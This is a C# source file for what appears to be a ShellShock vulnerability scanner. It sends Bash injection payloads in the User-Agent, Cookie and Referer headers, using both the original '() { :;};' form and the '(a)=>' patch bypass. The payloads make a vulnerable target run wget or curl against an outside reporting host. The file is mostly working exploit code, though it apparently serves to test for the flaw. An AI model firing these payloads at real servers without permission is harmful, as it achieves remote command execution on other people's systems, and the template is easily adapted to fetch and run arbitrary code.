ShellShock.brandonpotter.com

using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Text;
using System.Threading.Tasks;

namespace ShellShockExploiter
{
    public class SSExploiter
    {
        public event Action<string> TestExecuted;

        public void RunHttpExploitReport(string targetUrl, string testId, string urlNotes)
        {
            string[] headers = new string[] { "User-Agent", "Cookie", "Referer" };

            foreach (var header in headers)
            {
                // original exploit
                RunSingleTest(targetUrl, "() { :;}; wget http://shellshock.brandonpotter.com/report/" + testId + "/" + header + "-wget", header, urlNotes, "() { :;}; wget");
                RunSingleTest(targetUrl, "() { :;}; curl http://shellshock.brandonpotter.com/report/" + testId + "/" + header + "-curl", header, urlNotes, "() { :;}; curl");
                RunSingleTest(targetUrl, "() { :;}; /usr/local/bin/wget http://shellshock.brandonpotter.com/report/" + testId + "/" + header + "-usr-local-bin-wget", header, urlNotes, "() { :;}; /usr/local/bin/wget");
                RunSingleTest(targetUrl, "() { :;}; /usr/bin/wget http://shellshock.brandonpotter.com/report/" + testId + "/" + header + "-usr-bin-wget", header, urlNotes, "() { :;}; /usr/bin/wget");

                // new exploit for patch
                // () { (a)=>\' bash -c "echo date"
                RunSingleTest(targetUrl, "() { (a)=>\' bash -c 'wget http://shellshock.brandonpotter.com/report/" + testId + "/" + header + "-bash-c-wget'", header, urlNotes, "() { (a)=>\' bash -c 'wget");
                RunSingleTest(targetUrl, "() { (a)=>\' bash -c 'curl http://shellshock.brandonpotter.com/report/" + testId + "/" + header + "-bash-c-curl'", header, urlNotes, "() { (a)=>\' bash -c 'curl");
                RunSingleTest(targetUrl, "() { (a)=>\' bash -c '/usr/local/bin/wget http://shellshock.brandonpotter.com/report/" + testId + "/" + header + "-bash-c-usr-local-bin-wget'", header, urlNotes, "() { (a)=>\' bash -c '/usr/local/bin/wget");
                RunSingleTest(targetUrl, "() { (a)=>\' bash -c '/usr/bin/wget http://shellshock.brandonpotter.com/report/" + testId + "/" + header + "-bash-c-usr-bin-wget'", header, urlNotes, "() { (a)=>\' bash -c '/usr/bin/wget");
            }
        }

        private void RunSingleTest(string targetUrl, string bashCmd, string header, string urlNotes, string exploitType)
        {
            ShortWebClient wC = new ShortWebClient();
            string serverResponse = "";
            try
            {
                wC.Headers.Add(header, bashCmd);
                wC.DownloadString(targetUrl);
                serverResponse = "200 OK";
            }
            catch (TimeoutException te)
            {
                serverResponse = "Timeout";
            }
            catch (WebException e)
            {
                if (e.Message.Contains("(403) Forbidden"))
                {
                    serverResponse = "403 Forbidden";
                }
                else if (e.Message.Contains("(404) Not Found"))
                {
                    serverResponse = "404 Not Found";
                }
                else
                {
                    serverResponse = "Error";
                }
            }
            catch (Exception e) {
                serverResponse = "No Response or Error";
            }

            wC.Dispose();
            wC = null;

            try
            {
                this.TestExecuted("URL " + targetUrl + " (" + urlNotes + ") (Header " + header + " exploit attempted with " + exploitType + ")... " + serverResponse);
            }
            catch { }
        }
    }
}